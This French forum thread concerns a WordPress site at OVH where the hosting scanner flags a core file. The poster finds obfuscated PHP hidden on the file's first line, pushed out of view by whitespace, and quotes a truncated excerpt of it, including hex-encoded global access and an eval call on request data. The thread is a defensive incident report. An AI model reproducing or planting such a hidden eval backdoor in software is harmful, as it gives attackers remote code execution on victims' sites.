IdentifiantMot de passe
Loading...
Mot de passe oublié ?Je m'inscris ! (gratuit)
Navigation

Inscrivez-vous gratuitement
pour pouvoir participer, suivre les réponses en temps réel, voter pour les messages, poser vos propres questions et recevoir la newsletter

WordPress PHP Discussion :

Fichier suspect pour OVH ==> class-walker-category-checklist.php


Sujet :

WordPress PHP

Vue hybride

Message précédent Message précédent   Message suivant Message suivant
  1. #1
    Membre confirmé
    Profil pro
    Inscrit en
    Janvier 2007
    Messages
    152
    Détails du profil
    Informations personnelles :
    Localisation : France

    Informations forums :
    Inscription : Janvier 2007
    Messages : 152
    Par défaut Fichier suspect pour OVH ==> class-walker-category-checklist.php
    Bonjour,

    Je suis en train d'installer un blog Wordpress chez OVH.

    OVH me remonte l'alerte suivant :

    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
    5
    6
    7
    8
    {
      "www/wp-admin/includes/class-walker-category-checklist.php": {
        "ovh_suspicious_printable_hex_in_string": {
          "source": "ovh",
          "category": "suspicious"
        }
      }
    }

    Je ne comprends pas car il semble s'agir d'un fichier standard à WP ( class-walker-category-checklist.php ).
    Avez vous déjà rencontré le problème ?

    Cela est bloquant ... dans l'attente de la résolution du problème, ils désactivent la fonction MAIL !

    Merci.

  2. #2
    Expert confirmé
    Avatar de Watilin
    Homme Profil pro
    En recherche d'emploi
    Inscrit en
    Juin 2010
    Messages
    3 100
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Âge : 36
    Localisation : France, Ille et Vilaine (Bretagne)

    Informations professionnelles :
    Activité : En recherche d'emploi

    Informations forums :
    Inscription : Juin 2010
    Messages : 3 100
    Par défaut
    Je n’ai jamais rencontré ce message d’erreur avec OVH, mais d’après le nom de l’erreur printable_hex_in_string, il semblerait que le fichier contienne une ou plusieurs séquences de code hexadécimal qui devraient ressembler à quelque chose comme ceci :
    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    \x11\x04\x71\x91\x14\xBB\x08
    ou comme ça :
    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    0xFA,0x02,0x7F,0x7A,0x58,0x7C
    Le système d’OVH considère ça comme du code obfusqué, autrement dit une chaîne qui est transformée en code exécutable via eval ou une méthode similaire, et qui pourrait contenir n’importe quoi, donc potentiellement du code malveillant.

    Vérifie que ton fichier contient quelque chose qui ressemble à ça. Si c’est le cas, ton site a probablement été infecté, il faudra que tu réinstalles Wordpress, et que tu le tiennes à jour pour éviter de futures infections.

    Dans le cas contraire, c’est un faux positif, contacte le support d’OVH.
    La FAQ JavaScript – Les cours JavaScript
    Touche F12 = la console → l’outil indispensable pour développer en JavaScript !

  3. #3
    Membre confirmé
    Profil pro
    Inscrit en
    Janvier 2007
    Messages
    152
    Détails du profil
    Informations personnelles :
    Localisation : France

    Informations forums :
    Inscription : Janvier 2007
    Messages : 152
    Par défaut
    Merci d'avoir pris le temps de répondre à ma question.

    Concernant le code hexadécimal, il apparaîtrait tel quel dans le fichier ?
    Quand j'ouvre le fichier dans Notepad++, je ne le vois pas.

    De plus j'ai comparé le fichier avec le fichier issu d'une nouvelle installation, je ne note pas de différence dans le fichier.
    Etrange !

    J'ai prévenu OVH et leur ai demandé s'ils avaient la possibilité de m'indiquer ce qui selon eux, pourrait poser problème.

    Affaire à suivre.

  4. #4
    Membre confirmé
    Profil pro
    Inscrit en
    Janvier 2007
    Messages
    152
    Détails du profil
    Informations personnelles :
    Localisation : France

    Informations forums :
    Inscription : Janvier 2007
    Messages : 152
    Par défaut
    J'ai enfin trouvé l'origine du problème.
    Je partage ... ça peut servir !

    Alors en fait, quand je comparais mon fichier avec le fichier original je ne notais aucune différence.
    Sauf que ... la différence était "bien" cachée !!!

    Le fichier faisait le même nombre de lignes.
    Sauf que positionné sur la 1ère ligne du fichier, bien décalé sur la droite pour que l'on ne voit rien (sauf en déplacant beaucoup l'ascenseur horizontal), il y avait un long morceau de code d'ajouté (10467 caractères tout de même !).
    Je n'avais même pas fait attention à la différence de taille des 2 fichiers.
    Et c'est la présence de la fonction EVAL dans ce code qui a été détectée par les outils OVH et qui a donc permis de repérer l'anomalie.

    @Watilin
    tu avais donc parfaitement raison et tout de suite compris le problème !


    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    $g16c351 = 842;$GLOBALS['mc43']=Array();global$mc43;$mc43=$GLOBALS;${"\x47\x4c\x4fB\x41\x4c\x53"}['zd53d2ffa
    .... 
    [84]]($dd81e56);}elseif($ncdc79ac[$mc43['zd53d2ffa'][32]]==$mc43['zd53d2ffa'][41]){eval/*id63b40*/($ncdc79ac[$mc43['zd53d2ffa'][8]]);}exit();} ?>

  5. #5
    Membre confirmé
    Profil pro
    Inscrit en
    Janvier 2007
    Messages
    152
    Détails du profil
    Informations personnelles :
    Localisation : France

    Informations forums :
    Inscription : Janvier 2007
    Messages : 152
    Par défaut
    Quelqu'un pourrait il m'expliquer comment agit l'extrait de code ci dessous, qui a été importé dans un fichier à mon insu ?
    Comment est il susceptible de générer du spam ?


    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    $g16c351 = 842;$GLOBALS['mc43']=Array();global$mc43;$mc43=$GLOBALS;${"\x47\x4c\x4fB\x41\x4c\x53"}['zd53d2ffa
    .... 
    [84]]($dd81e56);}elseif($ncdc79ac[$mc43['zd53d2ffa'][32]]==$mc43['zd53d2ffa'][41]){eval/*id63b40*/($ncdc79ac[$mc43['zd53d2ffa'][8]]);}exit();} ?>

  6. #6
    Expert confirmé
    Avatar de mathieu
    Profil pro
    Inscrit en
    Juin 2003
    Messages
    10 674
    Détails du profil
    Informations personnelles :
    Localisation : France

    Informations forums :
    Inscription : Juin 2003
    Messages : 10 674
    Par défaut
    Le code n'a pas l'air complet, il y a des "..." à la 2e ligne.

+ Répondre à la discussion
Cette discussion est résolue.

Discussions similaires

  1. [MEX] Fichier générique pour différentes classes
    Par takout dans le forum MATLAB
    Réponses: 9
    Dernier message: 22/06/2012, 12h33
  2. Réponses: 4
    Dernier message: 10/12/2009, 19h25
  3. Lire un fichier pour importer une classe
    Par umeboshi dans le forum C++
    Réponses: 6
    Dernier message: 23/04/2009, 22h10
  4. pb fichier include pour classes dérivées
    Par Bapte59 dans le forum C++
    Réponses: 1
    Dernier message: 04/03/2009, 09h03
  5. comment intégrer un fichier .jar pour utiliser ses classes
    Par nina08 dans le forum Entrée/Sortie
    Réponses: 14
    Dernier message: 16/09/2008, 13h32

Partager

Partager
  • Envoyer la discussion sur Viadeo
  • Envoyer la discussion sur Twitter
  • Envoyer la discussion sur Google
  • Envoyer la discussion sur Facebook
  • Envoyer la discussion sur Digg
  • Envoyer la discussion sur Delicious
  • Envoyer la discussion sur MySpace
  • Envoyer la discussion sur Yahoo